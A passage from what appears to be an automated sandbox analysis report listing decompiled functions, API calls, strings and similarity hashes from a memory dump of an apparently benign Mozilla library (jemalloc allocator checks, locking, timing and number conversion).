					_t48 = _t17 + _t80 * 4;
					_t66 =  *_t48;
					_v28 = _t48;
					if(_t66 == 0) {
						_t67 = _a4;
						_t81 = _t80 + 1;
						__eflags = _t81 -  *((intOrPtr*)(_t67 + 0x14));
						if(_t81 >=  *((intOrPtr*)(_t67 + 0x14))) {
							L16:
							__eflags = 0;
							return 0;
						}
						_t28 = _t78 + 0xc; // 0xc
						_t51 = _t28 + _t81 * 4;
						while(1) {
							_t74 =  *_t51;
							__eflags = _t74;
							if(_t74 != 0) {
								break;
							}
							_t81 = _t81 + 1;
							_t51 = _t51 + 4;
							__eflags = _t81 -  *((intOrPtr*)(_t67 + 0x14));
							if(_t81 <  *((intOrPtr*)(_t67 + 0x14))) {
								continue;
							}
							goto L16;
						}
						asm("bsf eax, edx");
						_v0 = _t51;
						_t70 = 0x20;
						_t53 =  ==  ? _t70 : _t51 & 0x000000ff;
						_t71 = ( ==  ? _t70 : _t51 & 0x000000ff) & 0x000000ff;
						_t56 = (_t81 << 5) + (( ==  ? _t70 : _t51 & 0x000000ff) & 0x000000ff);
						_t57 = ((_t81 << 5) + (( ==  ? _t70 : _t51 & 0x000000ff) & 0x000000ff)) *  *(_t67 + 8);
						_t58 = ((_t81 << 5) + (( ==  ? _t70 : _t51 & 0x000000ff) & 0x000000ff)) *  *(_t67 + 8) +  *((intOrPtr*)(_t67 + 0x18));
						_t59 = ((_t81 << 5) + (( ==  ? _t70 : _t51 & 0x000000ff) & 0x000000ff)) *  *(_t67 + 8) +  *((intOrPtr*)(_t67 + 0x18)) + _t78;
						asm("btc edx, ecx");
						 *(_t78 + 0xc + _t81 * 4) = _t74;
						 *(_t78 + 4) = _t81;
						return ((_t81 << 5) + (( ==  ? _t70 : _t51 & 0x000000ff) & 0x000000ff)) *  *(_t67 + 8) +  *((intOrPtr*)(_t67 + 0x18)) + _t78;
					}
					asm("bsf eax, ebx");
					_v0 = _t48;
					_t72 = 0x20;
					_t61 =  ==  ? _t72 : _t48 & 0x000000ff;
					_t73 = _a4;
					_t75 = ( ==  ? _t72 : _t48 & 0x000000ff) & 0x000000ff;
					_t83 = (_t80 << 5) + (( ==  ? _t72 : _t48 & 0x000000ff) & 0x000000ff);
					_t84 = ((_t80 << 5) + (( ==  ? _t72 : _t48 & 0x000000ff) & 0x000000ff)) *  *(_t73 + 8);
					_t85 = ((_t80 << 5) + (( ==  ? _t72 : _t48 & 0x000000ff) & 0x000000ff)) *  *(_t73 + 8) +  *((intOrPtr*)(_t73 + 0x18));
					_t86 = ((_t80 << 5) + (( ==  ? _t72 : _t48 & 0x000000ff) & 0x000000ff)) *  *(_t73 + 8) +  *((intOrPtr*)(_t73 + 0x18)) + _t78;
					asm("btc ebx, edx");
					 *_v12 = _t66;
					_t63 = ((_t80 << 5) + (( ==  ? _t72 : _t48 & 0x000000ff) & 0x000000ff)) *  *(_t73 + 8) +  *((intOrPtr*)(_t73 + 0x18)) + _t78;
					return ((_t80 << 5) + (( ==  ? _t72 : _t48 & 0x000000ff) & 0x000000ff)) *  *(_t73 + 8) +  *((intOrPtr*)(_t73 + 0x18)) + _t78;
				}
				_t5 = _t65 + 0xc; // 0xc
				_t79 = _t5;
				EnterCriticalSection(_t79);
				_t43 = 0x10 + (_a8 >> 0xc) * 0xc + _t77;
				if(( *(_t43 + 8) & 0x00000001) == 0) {
					E6D0E90E5("MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)");
					asm("int3");
					 *_t89 = 0xce6;
					goto L9;
				}
				__eflags =  *(_t43 + 8) & 0x00000002;
				_t69 = _t65;
				if(__eflags != 0) {
					_t44 = E6D0E36B5(_t69, _t77, _a4);
				} else {
					_t44 = E6D0E38C7(_t69, __eflags, _t77, _a4, _t43);
				}
				LeaveCriticalSection(_t79);
				return _t44;
			}

0x6d0e7822
0x6d0e782b
0x6d0e7832
0x6d0e7834
0x6d0e789b
0x6d0e78a0
0x6d0e78a1
0x6d0e78a8
0x6d0e78a8
0x6d0e78ad
0x6d0e78b1
0x6d0e78b2
0x6d0e78b3
0x6d0e78b4
0x6d0e78b5
0x6d0e78b8
0x6d0e78bb
0x6d0e78be
0x6d0e78c1
0x6d0e78c3
0x6d0e78c8
0x6d0e78f9
0x6d0e78fc
0x6d0e78fd
0x6d0e7900
0x6d0e7917
0x6d0e7917
0x00000000
0x6d0e7917
0x6d0e7902
0x6d0e7905
0x6d0e7908
0x6d0e7908
0x6d0e790a
0x6d0e790c
0x00000000
0x00000000
0x6d0e790e
0x6d0e790f
0x6d0e7912
0x6d0e7915
0x00000000
0x00000000
0x00000000
0x6d0e7915
0x6d0e7920
0x6d0e7925
0x6d0e792b
0x6d0e792c
0x6d0e792f
0x6d0e7937
0x6d0e7939
0x6d0e793d
0x6d0e7940
0x6d0e7942
0x6d0e7945
0x6d0e7949
0x00000000
0x6d0e7949
0x6d0e78ca
0x6d0e78cf
0x6d0e78d5
0x6d0e78d6
0x6d0e78d9
0x6d0e78df
0x6d0e78e5
0x6d0e78e7
0x6d0e78eb
0x6d0e78ee
0x6d0e78f0
0x6d0e78f3
0x6d0e78f5
0x00000000
0x6d0e78f5
0x6d0e783b
0x6d0e783b
0x6d0e783f
0x6d0e7851
0x6d0e7857
0x6d0e785e
0x6d0e7863
0x6d0e7864
0x00000000
0x6d0e7864
0x6d0e786d
0x6d0e7871
0x6d0e7873
0x6d0e7885
0x6d0e7875
0x6d0e787a
0x6d0e787a
0x6d0e788b
0x6d0e7895

APIs

EnterCriticalSection.KERNEL32(000FF00C,?,000FF000,000FF000), ref: 6D0E783F
LeaveCriticalSection.KERNEL32(000FF00C,000FF000,000FF000), ref: 6D0E788B

Part of subcall function 6D0E38C7: memset.VCRUNTIME140(000FF000,000000E5,?,000FF000,000FF00C,000FF000,?,6D0E787F,000FF000,000FF000,000FEFF0), ref: 6D0E38EC

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6D0E7859
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6D0E7896

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)
API String ID: 759993129-1613044481
Opcode ID: 9da55ec5ae35429fc1d893a5efda5e022651a32cfa93b94202df404aa0f0ce04
Instruction ID: 59acb3579c1afa40f0d20c758ac3c19446eb4a072ee491f06c3a4b6690e9b590
Opcode Fuzzy Hash: 9da55ec5ae35429fc1d893a5efda5e022651a32cfa93b94202df404aa0f0ce04
Instruction Fuzzy Hash: E0014531508208AFFF015F58CC44FADBBB8FF91399F218505FE4847042C3719500C6A2

Uniqueness

Uniqueness Score: -1.00%

Function 6D0EBA92, Relevance: 6.1, APIs: 4, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E6D0EBA92(void* __ecx, void* __edi) {
				intOrPtr _v8;
				union _LARGE_INTEGER _v12;
				void* _t8;
				intOrPtr _t9;
				void* _t10;
				struct %anon52 _t15;
				struct %anon52 _t16;
				void* _t18;
				intOrPtr _t23;
				void* _t26;

				_t18 = __edi;
				QueryPerformanceCounter( &_v12);
				if( *0x6d1003b0 != 0) {
					L6:
					_t8 = E6D0F7E50(_v12.LowPart, _v8, 0x3e8, 0);
				} else {
					EnterCriticalSection(0x6d100398);
					_t23 =  *0x6d1003c4; // 0x0
					_t9 = _v8;
					_t15 = _v12.LowPart;
					_t26 = _t23 - _t9;
					if(_t26 < 0) {
						L5:
						0x6d1003c0->LowPart = _t15;
						 *0x6d1003c4 = _t9;
						LeaveCriticalSection(0x6d100398);
						goto L6;
					} else {
						_t16 =  *0x6d1003c0; // 0x0
						if(_t26 > 0 || _t16 > _t15) {
							_push(_t18);
							_t10 = E6D0F7E50(_t16, _t23, 0x3e8, 0);
							LeaveCriticalSection(0x6d100398);
							_t8 = _t10;
						} else {
							goto L5;
						}
					}
				}
				return _t8;
			}

0x6d0eba92
0x6d0eba9d
0x6d0ebaaa
0x6d0ebb07
0x6d0ebb14
0x6d0ebaac
0x6d0ebab2
0x6d0ebab8
0x6d0ebabe
0x6d0ebac1
0x6d0ebac4
0x6d0ebac6
0x6d0ebaf5
0x6d0ebaf6
0x6d0ebafc
0x6d0ebb01
0x00000000
0x6d0ebac8
0x6d0ebac8
0x6d0ebace
0x6d0ebad4
0x6d0ebade
0x6d0ebae8
0x6d0ebaf0
0x00000000
0x00000000
0x00000000
0x6d0ebace
0x6d0ebac6
0x6d0ebb1e

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,6D0EBA40,?,?,?,?,?,6D0EB408,?), ref: 6D0EBA9D
EnterCriticalSection.KERNEL32(6D100398,?,?,?,?,?,6D0EBA40,?,?,?,?,?,6D0EB408,?), ref: 6D0EBAB2
LeaveCriticalSection.KERNEL32(6D100398,00000000,00000000,000003E8,00000000,?,?,?,?,?,?,6D0EBA40), ref: 6D0EBAE8
LeaveCriticalSection.KERNEL32(6D100398,?,?,?,?,?,6D0EBA40,?,?,?,?,?,6D0EB408,?), ref: 6D0EBB01

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$Leave$CounterEnterPerformanceQuery
String ID:
API String ID: 1497024086-0
Opcode ID: 11263248403cf5a414402e9c7f42aedfc809a9276f3c9e3f475e98232a048cf4
Instruction ID: f77f0049af4a0b87919a512c9f5ef377462465dbda891dc40872f4edcf5a6521
Opcode Fuzzy Hash: 11263248403cf5a414402e9c7f42aedfc809a9276f3c9e3f475e98232a048cf4
Instruction Fuzzy Hash: 19016D75A01348BFEF11AFA6AC84F9EBABDE746295F200159FA04E7240DBB059008750

Uniqueness

Uniqueness Score: -1.00%

Function 6D0F44BF, Relevance: 6.0, APIs: 4, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D0F44BF(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16, intOrPtr _a20) {
				intOrPtr _t19;
				void* _t20;
				intOrPtr _t25;

				_t19 =  *((intOrPtr*)(0x6d0faee0 + (_a16 * 6 + _a20) * 4));
				_t25 = _t19;
				if(_t25 == 0) {
					_t20 = E6D0F452F(_a4, _a8, _a12);
					goto L10;
				} else {
					if(_t25 <= 0) {
						L8:
						return 0;
					} else {
						if(_t19 <= 2) {
							_t20 = E6D0F452F(_a4, _a8, _a12);
							goto L10;
						} else {
							if(_t19 == 3) {
								_t20 = E6D0F452F(_a4, _a8, _a12);
								goto L10;
							} else {
								if(_t19 + 0xfffffffc > 1) {
									goto L8;
								} else {
									_t20 = E6D0F452F(_a4, _a8, _a12);
									L10:
									return _t20;
								}
							}
						}
					}
				}
			}

0x6d0f44c9
0x6d0f44d0
0x6d0f44d2
0x6d0f4525
0x00000000
0x6d0f44d4
0x6d0f44d4
0x6d0f4518
0x6d0f451b
0x6d0f44d6
0x6d0f44d9
0x6d0f4511
0x00000000
0x6d0f44db
0x6d0f44de
0x6d0f4501
0x00000000
0x6d0f44e0
0x6d0f44e6
0x00000000
0x6d0f44e8
0x6d0f44f1
0x6d0f452a
0x6d0f452e
0x6d0f452e
0x6d0f44e6
0x6d0f44de
0x6d0f44d9
0x6d0f44d4

APIs

std::_Compare_exchange_acquire_4.LIBCONCRT ref: 6D0F44F1
std::_Compare_exchange_acquire_4.LIBCONCRT ref: 6D0F4501
std::_Compare_exchange_acquire_4.LIBCONCRT ref: 6D0F4511
std::_Compare_exchange_acquire_4.LIBCONCRT ref: 6D0F4525

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: Compare_exchange_acquire_4std::_
String ID:
API String ID: 3973403980-0
Opcode ID: 84c40e82b456b206f9f9ad695ec0c7863a9248783a1adfa46f26e1de92836eda
Instruction ID: 5772fdbb0855febd4e7cb176daf3a2078c739b9b3c48f62a0cf04a4cafc090bc
Opcode Fuzzy Hash: 84c40e82b456b206f9f9ad695ec0c7863a9248783a1adfa46f26e1de92836eda
Instruction Fuzzy Hash: 0C01367740410ABBEF02AE94DE00BAD3BA6FB1DB55B358412FD1889031E772C772AB41

Uniqueness

Uniqueness Score: -1.00%

Function 6D0F865B, Relevance: 6.0, APIs: 4, Instructions: 26
timethreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D0F865B() {
				void* _v8;
				struct _FILETIME _v16;
				signed int _v20;
				union _LARGE_INTEGER _v24;

				_v16.dwLowDateTime = _v16.dwLowDateTime & 0x00000000;
				_v16.dwHighDateTime = _v16.dwHighDateTime & 0x00000000;
				GetSystemTimeAsFileTime( &_v16);
				_v8 = _v16.dwHighDateTime ^ _v16.dwLowDateTime;
				_v8 = _v8 ^ GetCurrentThreadId();
				_v8 = _v8 ^ GetCurrentProcessId();
				QueryPerformanceCounter( &_v24);
				return _v20 ^ _v24.LowPart ^ _v8 ^  &_v8;
			}

0x6d0f8661
0x6d0f8668
0x6d0f866d
0x6d0f8679
0x6d0f8682
0x6d0f868b
0x6d0f8692
0x6d0f86a9

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 6D0F866D
GetCurrentThreadId.KERNEL32 ref: 6D0F867C
GetCurrentProcessId.KERNEL32 ref: 6D0F8685
QueryPerformanceCounter.KERNEL32(?), ref: 6D0F8692

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: db75ffad671a6d2956fe29892ab8e82beebcb57243146e87515c2c1a8d5954ce
Instruction ID: 31319d1c86c408caf976f30b90a9232f33ae1cacfc285584acafcf4468b8aef8
Opcode Fuzzy Hash: db75ffad671a6d2956fe29892ab8e82beebcb57243146e87515c2c1a8d5954ce
Instruction Fuzzy Hash: 76F04D75C10209EBCF00DFF4E649B9EBBF8FF19211F6148A6A911E7140EB34AB149B61

Uniqueness

Uniqueness Score: -1.00%

Function 6D0E8CA4, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 76
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E6D0E8CA4(void* __ebx, intOrPtr* __ecx, void* __edi, void* __esi, void* _a4, void _a8) {
				intOrPtr* _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr* _t17;
				signed int _t22;
				intOrPtr* _t28;
				intOrPtr* _t31;
				signed int _t36;
				intOrPtr _t39;
				signed int _t40;
				intOrPtr _t45;
				intOrPtr* _t46;
				intOrPtr* _t51;
				signed int _t59;

				_push(__ecx);
				_push(__ecx);
				_t17 = 1;
				_t31 = __ecx;
				_t45 =  !=  ? _a8 : 1;
				if(_a4 == 0) {
					if( *0x6d1001e4 == 0) {
						_t17 = L6D0E87CF(__ecx, __edi);
					}
					if(_t17 != 0) {
						_t18 =  *_t31;
						if( *_t31 == 0) {
							_t18 = E6D0E7C36(_t45);
						}
						_t17 = E6D0E4AA5(_t18, _t45, 0);
						goto L16;
					} else {
						_t46 = 0;
						goto L17;
					}
					goto L18;
				} else {
					if( *0x6d1001e4 == 0) {
						E6D0E90E5("MOZ_RELEASE_ASSERT(malloc_initialized)");
						asm("int3");
						 *_t51 = 0xf79;
						goto L20;
					} else {
						E6D0E326C( &_v12, _a4);
						_t28 = _v8;
						if(_v12 > 0xff000) {
							_t39 =  *((intOrPtr*)(_t28 + 0x18));
						} else {
							_t39 =  *_t28;
						}
						if( *_t31 == 0 || _t39 ==  *_t31) {
							_t17 = E6D0E585A(_t39, _t40, _a4, _t45, _v12);
							L16:
							_t46 = _t17;
							if(_t46 == 0) {
								L17:
								__imp___errno();
								 *_t17 = 0xc;
							}
							L18:
							return _t46;
						} else {
							E6D0E90E5("MOZ_RELEASE_ASSERT(!mArena || arena == mArena)");
							asm("int3");
							 *_t51 = 0xf7d;
							L20:
							E6D0E8DD0();
							asm("int3");
							_t22 = _v20;
							_t36 = _t22 * _v16;
							_t59 = _t22 * _v16 >> 0x20;
							if(_t59 <= 0 && (_t59 < 0 || _t36 <= 0xffffffff)) {
								return 1;
							}
							return 0;
						}
					}
				}
			}

0x6d0e8ca7
0x6d0e8ca8
0x6d0e8cac
0x6d0e8cad
0x6d0e8cb6
0x6d0e8cbe
0x6d0e8d20
0x6d0e8d22
0x6d0e8d22
0x6d0e8d29
0x6d0e8d2f
0x6d0e8d33
0x6d0e8d36
0x6d0e8d3b
0x6d0e8d41
0x00000000
0x6d0e8d2b
0x6d0e8d2b
0x00000000
0x6d0e8d2b
0x00000000
0x6d0e8cc0
0x6d0e8cc7
0x6d0e8d67
0x6d0e8d6c
0x6d0e8d6d
0x00000000
0x6d0e8ccd
0x6d0e8cd4
0x6d0e8ce0
0x6d0e8ce5
0x6d0e8ceb
0x6d0e8ce7
0x6d0e8ce7
0x6d0e8ce7
0x6d0e8cf1
0x6d0e8d12
0x6d0e8d46
0x6d0e8d46
0x6d0e8d4a
0x6d0e8d4c
0x6d0e8d4c
0x6d0e8d52
0x6d0e8d52
0x6d0e8d58
0x6d0e8d5f
0x6d0e8cf7
0x6d0e8cfc
0x6d0e8d01
0x6d0e8d02
0x6d0e8d74
0x6d0e8d74
0x6d0e8d79
0x6d0e8d7d
0x6d0e8d83
0x6d0e8d87
0x6d0e8d89
0x00000000
0x6d0e8d92
0x6d0e8d95
0x6d0e8d95
0x6d0e8cf1
0x6d0e8cc7

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,00000000,00000001,00000000,00000000,?,6D0E8F76,?,?,?,?,6D0E935E,?,?), ref: 6D0E8D4C

Part of subcall function 6D0E585A: memset.VCRUNTIME140(?,000000E5,00000000,000FF000,?,00000000,00000000), ref: 6D0E5B40

Strings

MOZ_RELEASE_ASSERT(!mArena || arena == mArena), xrefs: 6D0E8CF7
MOZ_RELEASE_ASSERT(malloc_initialized), xrefs: 6D0E8D62

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: _errnomemset
String ID: MOZ_RELEASE_ASSERT(!mArena || arena == mArena)$MOZ_RELEASE_ASSERT(malloc_initialized)
API String ID: 3043901106-1844359933
Opcode ID: deabd0bfc6e741e9beb27e731f10a39d0f7db20657b627ae838dc808f69681be
Instruction ID: 81331c569240dcf3cf0ed0f6d297b8b843ad15339cdb0a2ece6d60a1de3053ae
Opcode Fuzzy Hash: deabd0bfc6e741e9beb27e731f10a39d0f7db20657b627ae838dc808f69681be
Instruction Fuzzy Hash: 9921C33090C119AFFF219F64D844BBD77E4EF923D4F21865AE90497190D7B49940C795

Uniqueness

Uniqueness Score: -1.00%

Function 6D0E2AD8, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D0E2AD8(signed int* _a4, void _a8, WCHAR* _a12) {
				WCHAR* _v8;
				long _t14;
				signed int* _t18;
				long _t21;
				WCHAR* _t27;
				WCHAR* _t30;

				_t27 = 0;
				if(_a8 >= 0x10000) {
					_t27 =  ==  ? _a8 : 0;
				}
				_t14 = SearchPathW(_t27, _a12, L".dll", 0, 0, 0);
				if(_t14 != 0) {
					_t8 = _t14 + 1; // 0x1
					_t21 = _t8;
					E6D0E1226(__eflags,  &_v8, _t21);
					_t30 = _v8;
					__eflags = _t30;
					if(_t30 != 0) {
						SearchPathW(_t27, _a12, L".dll", _t21, _t30, 0);
						_t18 = _a4;
						 *_t18 = _t30;
					} else {
						_t18 = _a4;
						 *_t18 =  *_t18 & _t30;
					}
				} else {
					_t18 = _a4;
					 *_t18 = 0;
				}
				return _t18;
			}

0x6d0e2ae7
0x6d0e2ae9
0x6d0e2aef
0x6d0e2aef
0x6d0e2aff
0x6d0e2b07
0x6d0e2b10
0x6d0e2b10
0x6d0e2b19
0x6d0e2b1e
0x6d0e2b23
0x6d0e2b25
0x6d0e2b3b
0x6d0e2b41
0x6d0e2b44
0x6d0e2b27
0x6d0e2b27
0x6d0e2b2a
0x6d0e2b2a
0x6d0e2b09
0x6d0e2b09
0x6d0e2b0c
0x6d0e2b0c
0x6d0e2b4c

APIs

SearchPathW.KERNEL32(00000000,?,.dll,00000000,00000000,00000000,00000000,6D0F9648,?,?,6D0E2EF2,?,?,?,?), ref: 6D0E2AFF

Part of subcall function 6D0E1226: moz_xmalloc.MOZGLUE(00000000,AppInit_DLLs,00000001,?,6D0E2538,?,?,?,6D100138,00000001), ref: 6D0E123D
Part of subcall function 6D0E1226: memset.VCRUNTIME140(00000000,00000000,00000000,AppInit_DLLs,00000001,?,6D0E2538,?,?,?,6D100138,00000001), ref: 6D0E124D

SearchPathW.KERNEL32(00000000,?,.dll,00000001,?,00000000,06020000,?,?,6D0E2EF2,?,?,?,?), ref: 6D0E2B3B

Strings

.dll, xrefs: 6D0E2AF6, 6D0E2B32

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: PathSearch$memsetmoz_xmalloc
String ID: .dll
API String ID: 2146879955-2738580789
Opcode ID: 179221d0f2727d105c8d1dd02ba20856f7779e674dac2f40ce3c552b67de45d8
Instruction ID: 2346b203dbc30743192131acabd8e0af212d501318f09d02411b003e3312aa95
Opcode Fuzzy Hash: 179221d0f2727d105c8d1dd02ba20856f7779e674dac2f40ce3c552b67de45d8
Instruction Fuzzy Hash: 9A014C76104209BFEB229F55EC84FAA77ACEB4A3A5F118058FD089B150D371AD108BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6D0E2B50, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E6D0E2B50(void* __ebx, intOrPtr __ecx, void* __edx, void* __edi, void* __esi, intOrPtr _a4) {
				signed int _v8;
				intOrPtr _v12;
				void* _v20;
				void* _v24;
				struct _MEMORY_BASIC_INFORMATION _v40;
				signed int _t15;
				signed int _t33;
				void* _t36;
				void* _t43;
				intOrPtr* _t44;
				signed int _t45;

				_t15 =  *0x6d10003c; // 0x3dfc34f3
				_v8 = _t15 ^ _t45;
				_t43 = __edx;
				_v12 = __ecx;
				if(__edx != 0) {
					_t33 = 7;
					memset( &_v40, 0, _t33 << 2);
					if(VirtualQuery(_t43,  &_v40, 0x1c) != 0) {
					}
				}
				_t39 =  ==  ? _t43 : E6D0E27B0;
				_t44 =  *0x6d1000cc; // 0x0
				 *0x6d0f92f4(_a4);
				_t36 =  ==  ? _t43 : E6D0E27B0;
				 *_t44();
				return E6D0F70C0(_v8 ^ _t45);
			}

0x6d0e2b56
0x6d0e2b5d
0x6d0e2b62
0x6d0e2b64
0x6d0e2b6c
0x6d0e2b70
0x6d0e2b76
0x6d0e2b87
0x6d0e2b87
0x6d0e2b87
0x6d0e2ba6
0x6d0e2ba9
0x6d0e2bb1
0x6d0e2bba
0x6d0e2bbc
0x6d0e2bce

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 6D0E2B7F
jemalloc_purge_freed_pages.MOZGLUE(?), ref: 6D0E2BB1

Strings

, xrefs: 6D0E2B93

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: QueryVirtualjemalloc_purge_freed_pages
String ID:
API String ID: 278593769-3916222277
Opcode ID: bfc862ba8495ec274b784d784081d7ec2159385f2c14fc3fe218324412219111
Instruction ID: 83de3c2d29b5ee22b3ab82ca595416221c00b423dd9e81782befae333d9ce9a8
Opcode Fuzzy Hash: bfc862ba8495ec274b784d784081d7ec2159385f2c14fc3fe218324412219111
Instruction Fuzzy Hash: F401D832B4121EDBEF15DF64D840BEEB7F9EB89740F15816ADC00A3240CB719E50CA91

Uniqueness

Uniqueness Score: -1.00%

Function 6D0EEE3B, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E6D0EEE3B(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4) {
				signed int _v8;
				char _v72;
				signed int _v76;
				intOrPtr _v80;
				char _v84;
				signed int _t18;
				void* _t20;
				signed int _t24;
				signed int _t41;

				_t18 =  *0x6d10003c; // 0x3dfc34f3
				_v8 = _t18 ^ _t41;
				_t20 = E6D0F2080();
				asm("movsd xmm0, [ebp+0xc]");
				_v84 =  &_v72;
				_v80 = 0x40;
				_v76 = 0;
				asm("movsd [esp], xmm0");
				E6D0F4330(0, _t20, __edx, __edi, _a4,  &_v84,  &_v84,  &_v84, 0);
				 *((char*)(_v84 + _v76)) = 0;
				_v76 = _v76 | 0xffffffff;
				E6D0ED7DC(_a4, _v84);
				_t24 = _v76;
				if(_t24 >= 0) {
					 *((char*)(_v84 + _t24)) = 0;
				}
				return E6D0F70C0(_v8 ^ _t41);
			}

0x6d0eee41
0x6d0eee48
0x6d0eee50
0x6d0eee55
0x6d0eee5d
0x6d0eee66
0x6d0eee72
0x6d0eee75
0x6d0eee7a
0x6d0eee85
0x6d0eee8d
0x6d0eee91
0x6d0eee96
0x6d0eee9b
0x6d0eeea0
0x6d0eeea0
0x6d0eeeb4

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE(?), ref: 6D0EEE50
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE(?,?,?,00000000,?), ref: 6D0EEE7A

Part of subcall function 6D0F4330: ?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE(7FF00000,7FF00000,?,?,?,?,?,?,?,?,6D0EEE7F,?,?,?,00000000,?), ref: 6D0F437E

Strings

@, xrefs: 6D0EEE66

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: String$Converter@double_conversion@@Double$Builder@2@Builder@2@@Converter@DtoaEcmaHandleIeeeMode@12@@Number@ScriptShortestSpecialV12@Values@
String ID: @
API String ID: 2882438428-2766056989
Opcode ID: 8a178e1a32c5b6102fa84d8cd2e2c8dae1b564a097117072dc207a8fda5d2087
Instruction ID: 88a20d6c6fc914974eb529e002cec33684f60139504bbe0dae29fb3b4fa28b9d
Opcode Fuzzy Hash: 8a178e1a32c5b6102fa84d8cd2e2c8dae1b564a097117072dc207a8fda5d2087
Instruction Fuzzy Hash: F6018C70A0421C9FEB14DFE8C890AAEBBB9EF09354F10025DE805AB380DB706C06CB94

Uniqueness

Uniqueness Score: -1.00%

